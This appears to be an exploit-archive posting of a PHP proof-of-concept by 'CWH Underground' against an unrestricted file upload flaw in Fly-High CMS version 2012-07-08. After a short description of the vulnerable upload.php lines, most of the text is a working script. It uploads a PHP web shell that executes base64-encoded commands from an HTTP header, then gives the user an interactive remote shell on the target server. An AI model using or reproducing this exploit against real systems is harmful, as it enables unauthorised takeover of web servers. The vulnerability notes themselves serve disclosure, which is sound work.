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Fly-High CMS 2012-07-08 Shell Upload

Fly-High CMS 2012-07-08 Shell Upload
Posted Jun 17, 2013
Authored by CWH Underground

Fly-High CMS version 2012-07-08 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 82b2a9f27a9c028ca4a7d4c77abb62633e96833d6738836ba15ee85e4379dc40

Fly-High CMS 2012-07-08 Shell Upload

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<?php

/*

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

Exploit Title : Fly-High CMS Unrestricted File Upload Exploit
Date : 15 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://sourceforge.net/projects/flyhighcms/
Software Link : http://jaist.dl.sourceforge.net/project/flyhighcms/unstable/2012-07-08_unstable.zip
Version : 2012-07-08
Tested on : Window and Linux


#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################

/resources/upload.php (LINE: 30, 60-61)

-----------------------------------------------------------------------------
Line: 30
$targetDir = "../" . $_GET['pfad'];
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 60-61
if (!file_exists($targetDir))
@mkdir($targetDir);
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 55-57
$fileName = 'upload_' . $count . $fileName_b;

$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.


#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n==============================================\n";
print " Fly-High CMS Unrestricted File Upload Exploit \n";
print " \n";
print " Discovered By CWH Underground \n";
print "==============================================\n\n";
print " ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /flyhighCMS/\n";
die();
}

$host = $argv[1];
$path = $argv[2];


$payload = "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";

$packet = "POST {$path}resources/upload.php?pfad=cwh&name=1.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet1 = "GET {$path}cwh/upload_1.php HTTP/1.0\r\n";
$packet1 .= "Host: {$host}\r\n";
$packet1 .= "Cmd: %s\r\n";
$packet1 .= "Connection: close\r\n\r\n";

while(1)
{
print "\nFlyhigh-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet1, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
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